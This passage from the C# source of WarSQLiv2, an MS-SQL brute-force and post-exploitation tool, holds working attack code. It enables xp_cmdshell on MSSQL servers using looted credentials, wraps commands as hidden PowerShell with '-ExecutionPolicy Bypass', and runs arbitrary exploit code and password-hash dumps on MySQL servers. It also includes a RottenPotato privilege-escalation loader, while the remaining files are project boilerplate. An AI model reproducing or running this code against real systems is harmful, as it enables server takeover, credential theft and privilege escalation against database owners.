'show advanced options', 0;\n"; 78 | openXpCmdShell += "RECONFIGURE;\n"; 79 | if (!string.IsNullOrEmpty(LootedServer)) 80 | { 81 | var parcala = LootedServer.Split(':'); 82 | var server = parcala[0]; 83 | var user = parcala[2]; 84 | var pass = parcala[3]; 85 | var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; 86 | try 87 | { 88 | var conn = new SqlConnection(conS); 89 | var cmd = new SqlCommand(openXpCmdShell, conn); 90 | conn.Open(); 91 | var rdr = cmd.ExecuteReader(); 92 | while (rdr.Read()) 93 | { 94 | Result += $"{Environment.NewLine}{rdr[0]}"; 95 | } 96 | rdr.Close(); 97 | conn.Close(); 98 | 99 | Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("XPCmdShell1")}"; 100 | cmdControl.isExecuted = true; 101 | cmdControl.isActivated = true; 102 | } 103 | catch (SqlException exp) 104 | { 105 | if(exp.ErrorCode == -2146232060) 106 | { 107 | cmdControl.isExecuted = false; 108 | Result += Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell4"); 109 | } 110 | else 111 | { 112 | CmdException += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 113 | } 114 | } 115 | } 116 | else 117 | { 118 | Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 119 | } 120 | })); 121 | 122 | } 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/PostExploitation/EncodeBase64.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace WarSQLiv2.Exploitation.PostExploitation 8 | { 9 | class EncodeBase64 10 | { 11 | public static string ConvertTextToBase64(string clearText) 12 | { 13 | byte[] asc = Encoding.ASCII.GetBytes(clearText); 14 | string unic = Encoding.ASCII.GetString(asc); 15 | var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(unic); 16 | var base64 = "powershell -Enc " + Convert.ToBase64String(plainTextBytes) + " -noprofile -ExecutionPolicy Bypass -window hidden"; 17 | 18 | return base64; 19 | } 20 | public static string ConvertTextToBase64NonBypass(string clearText) 21 | { 22 | byte[] asc = Encoding.ASCII.GetBytes(clearText); 23 | string unic = Encoding.ASCII.GetString(asc); 24 | var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(unic); 25 | var base64 = "powershell -Enc " + Convert.ToBase64String(plainTextBytes); 26 | 27 | return base64; 28 | } 29 | public static string ConvertTextToBase64NonPs(string clearText) 30 | { 31 | byte[] asc = Encoding.ASCII.GetBytes(clearText); 32 | string unic = Encoding.ASCII.GetString(asc); 33 | var plainTextBytes = System.Text.Encoding.Unicode.GetBytes(unic); 34 | var base64 = Convert.ToBase64String(plainTextBytes); 35 | 36 | return base64; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/PostExploitation/MySqlPostExploitation.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Data.SqlClient; 4 | using MySql.Data.MySqlClient; 5 | using WarSQLiv2.Exploitation.Control; 6 | 7 | namespace WarSQLiv2.Exploitation.PostExploitation 8 | { 9 | class MySqlPostExploitation 10 | { 11 | private string _exception; 12 | private string _exploitResult; 13 | private string _exploitCode; 14 | /// 15 | /// Fırlatılan Exception'ı yakalayıp kullanıcıya göstermek için kullanılacak 16 | /// 17 | public string Exception 18 | { 19 | get { return _exception; } 20 | set 21 | { 22 | _exception = string.Empty; 23 | _exception = value; 24 | } 25 | } 26 | 27 | public string ExploitCode { get; set; } 28 | public string ExploitResult 29 | { 30 | get { return _exploitResult; } 31 | } 32 | 33 | /// 34 | /// Seçilen Listbox item'ını SelectedItem değerine mutlaka set etmemiz gerekir. Bu değer lstLooted'ın selectedItems'ının değeri olmalıdır. 35 | /// 36 | public string SelectedItem { get; set; } 37 | 38 | public List LootedList { get; set; } 39 | public void ExploitMySql() 40 | { 41 | LootedControl(); 42 | var changeLang = new LanguageControl(); 43 | changeLang.FindLang(); 44 | if (!string.IsNullOrEmpty(SelectedItem)) 45 | { 46 | var split = SelectedItem.Split(':'); 47 | var server = split[0]; 48 | var user = split[2]; 49 | var pass = split[3]; 50 | var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; 51 | var mysqlConn = new MySqlConnection(con.ToString()); 52 | try 53 | { 54 | var cmd = new MySqlCommand(ExploitCode, mysqlConn); 55 | mysqlConn.Open(); 56 | var rdr = cmd.ExecuteReader(); 57 | _exploitResult = string.Empty; 58 | while (rdr.Read()) 59 | { 60 | _exploitResult += $"{Environment.NewLine}{rdr[1]}"; 61 | } 62 | rdr.Close(); 63 | mysqlConn.Close(); 64 | } 65 | catch (SqlException exp) 66 | { 67 | Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 68 | } 69 | } 70 | else 71 | { 72 | Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 73 | } 74 | } 75 | public void MySqlHashDump() 76 | { 77 | LootedControl(); 78 | var changeLang = new LanguageControl(); 79 | changeLang.FindLang(); 80 | if (!string.IsNullOrEmpty(SelectedItem)) 81 | { 82 | var split = SelectedItem.Split(':'); 83 | var server = split[0]; 84 | var user = split[2]; 85 | var pass = split[3]; 86 | var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; 87 | var mysqlConn = new MySqlConnection(con.ToString()); 88 | try 89 | { 90 | var cmd = new MySqlCommand(ExploitCode, mysqlConn); 91 | mysqlConn.Open(); 92 | var rdr = cmd.ExecuteReader(); 93 | _exploitResult = string.Empty; 94 | while (rdr.Read()) 95 | { 96 | _exploitResult += $"{Environment.NewLine}{rdr[1]}:{rdr[2]}"; 97 | } 98 | rdr.Close(); 99 | mysqlConn.Close(); 100 | } 101 | catch (SqlException exp) 102 | { 103 | Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 104 | } 105 | } 106 | else 107 | { 108 | Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 109 | } 110 | } 111 | private void LootedControl() 112 | { 113 | var lootedFileControl = new LootedFileControl(); 114 | try 115 | { 116 | lootedFileControl.FileControl(); 117 | var lootedList = lootedFileControl.LootedList; 118 | foreach (var t in lootedList) 119 | { 120 | LootedList.Add(t); 121 | } 122 | } 123 | catch (Exception exp) 124 | { 125 | Exception = lootedFileControl.Exception; 126 | } 127 | } 128 | public void GeneralExploiting() 129 | { 130 | LootedControl(); 131 | var changeLang = new LanguageControl(); 132 | changeLang.FindLang(); 133 | if (!string.IsNullOrEmpty(SelectedItem)) 134 | { 135 | var split = SelectedItem.Split(':'); 136 | var server = split[0]; 137 | var user = split[2]; 138 | var pass = split[3]; 139 | var con = new MySqlConnectionStringBuilder() { Server = server, UserID = user, Password = pass }; 140 | var mysqlConn = new MySqlConnection(con.ToString()); 141 | try 142 | { 143 | var cmd = new MySqlCommand(ExploitCode, mysqlConn); 144 | mysqlConn.Open(); 145 | var rdr = cmd.ExecuteReader(); 146 | _exploitResult = string.Empty; 147 | while (rdr.Read()) 148 | { 149 | _exploitResult += $"{Environment.NewLine}{rdr[0]}"; 150 | } 151 | rdr.Close(); 152 | mysqlConn.Close(); 153 | } 154 | catch (SqlException exp) 155 | { 156 | Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); 157 | } 158 | } 159 | else 160 | { 161 | Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; 162 | } 163 | } 164 | } 165 | } 166 | -------------------------------------------------------------------------------- /WarSQLiv2/Exploitation/PostExploitation/RottenPotato.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace WarSQLiv2.Exploitation.PostExploitation 9 | { 10 | class RottenPotato 11 | { 12 | public static string PotatoBytes() 13 | { 14 | var potato = "0x" + File.ReadAllText(@"C:\Users\sKyWiPer\Documents\Visual Studio 2015\Projects\WarSQLiv2\WarSQLiv2\bin\Debug\Scanner\Exploit\RottenPotato\Potato.txt"); 15 | return potato; 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /WarSQLiv2/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Resources; 3 | using System.Runtime.CompilerServices; 4 | using System.Runtime.InteropServices; 5 | using System.Windows; 6 | 7 | // General Information about an assembly is controlled through the following 8 | // set of attributes. Change these attribute values to modify the information 9 | // associated with an assembly. 10 | [assembly: AssemblyTitle("WarSQLiv2.1")] 11 | [assembly: AssemblyDescription("MS-SQL BruteForce and Post Exploitation Tools")] 12 | [assembly: AssemblyConfiguration("")] 13 | [assembly: AssemblyCompany("eyupcelik.com.tr")] 14 | [assembly: AssemblyProduct("WarSQLiv2.1")] 15 | [assembly: AssemblyCopyright("Copyright © 2015 Eyup CELIK")] 16 | [assembly: AssemblyTrademark("")] 17 | [assembly: AssemblyCulture("")] 18 | 19 | // Setting ComVisible to false makes the types in this assembly not visible 20 | // to COM components. If you need to access a type in this assembly from 21 | // COM, set the ComVisible attribute to true on that type. 22 | [assembly: ComVisible(false)] 23 | 24 | //In order to begin building localizable applications, set 25 | //CultureYouAreCodingWith in your .csproj file 26 | //inside a . For example, if you are using US english 27 | //in your source files, set the to en-US. Then uncomment 28 | //the NeutralResourceLanguage attribute below. Update the "en-US" in 29 | //the line below to match the UICulture setting in the project file. 30 | 31 | //[assembly: NeutralResourcesLanguage("en-US", UltimateResourceFallbackLocation.Satellite)] 32 | 33 | 34 | [assembly: ThemeInfo( 35 | ResourceDictionaryLocation.None, //where theme specific resource dictionaries are located 36 | //(used if a resource is not found in the page, 37 | // or application resource dictionaries) 38 | ResourceDictionaryLocation.SourceAssembly //where the generic resource dictionary is located 39 | //(used if a resource is not found in the page, 40 | // app, or any theme specific resource dictionaries) 41 | )] 42 | 43 | 44 | // Version information for an assembly consists of the following four values: 45 | // 46 | // Major Version 47 | // Minor Version 48 | // Build Number 49 | // Revision 50 | // 51 | // You can specify all the values or you can default the Build and Revision Numbers 52 | // by using the '*' as shown below: 53 | // [assembly: AssemblyVersion("1.0.*")] 54 | [assembly: AssemblyVersion("2.1.0.0")] 55 | [assembly: AssemblyFileVersion("2.1.0.0")] 56 | -------------------------------------------------------------------------------- /WarSQLiv2/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace WarSQLiv2.Properties 12 | { 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources 26 | { 27 | 28 | private static global::System.Resources.ResourceManager resourceMan; 29 | 30 | private static global::System.Globalization.CultureInfo resourceCulture; 31 | 32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 33 | internal Resources() 34 | { 35 | } 36 | 37 | /// 38 | /// Returns the cached ResourceManager instance used by this class. 39 | /// 40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 41 | internal static global::System.Resources.ResourceManager ResourceManager 42 | { 43 | get 44 | { 45 | if ((resourceMan == null)) 46 | { 47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("WarSQLiv2.Properties.Resources", typeof(Resources).Assembly); 48 | resourceMan = temp; 49 | } 50 | return resourceMan; 51 | } 52 | } 53 | 54 | /// 55 | /// Overrides the current thread's CurrentUICulture property for all 56 | /// resource lookups using this strongly typed resource class. 57 | /// 58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 59 | internal static global::System.Globalization.CultureInfo Culture 60 | { 61 | get 62 | { 63 | return resourceCulture; 64 | } 65 | set 66 | { 67 | resourceCulture = value; 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /WarSQLiv2/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | text/microsoft-resx 107 | 108 | 109 | 2.0 110 | 111 | 112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 113 | 114 | 115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | -------------------------------------------------------------------------------- /WarSQLiv2/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace WarSQLiv2.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /WarSQLiv2/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /WarSQLiv2/Startup.xaml: -------------------------------------------------------------------------------- 1 |  9 | 10 |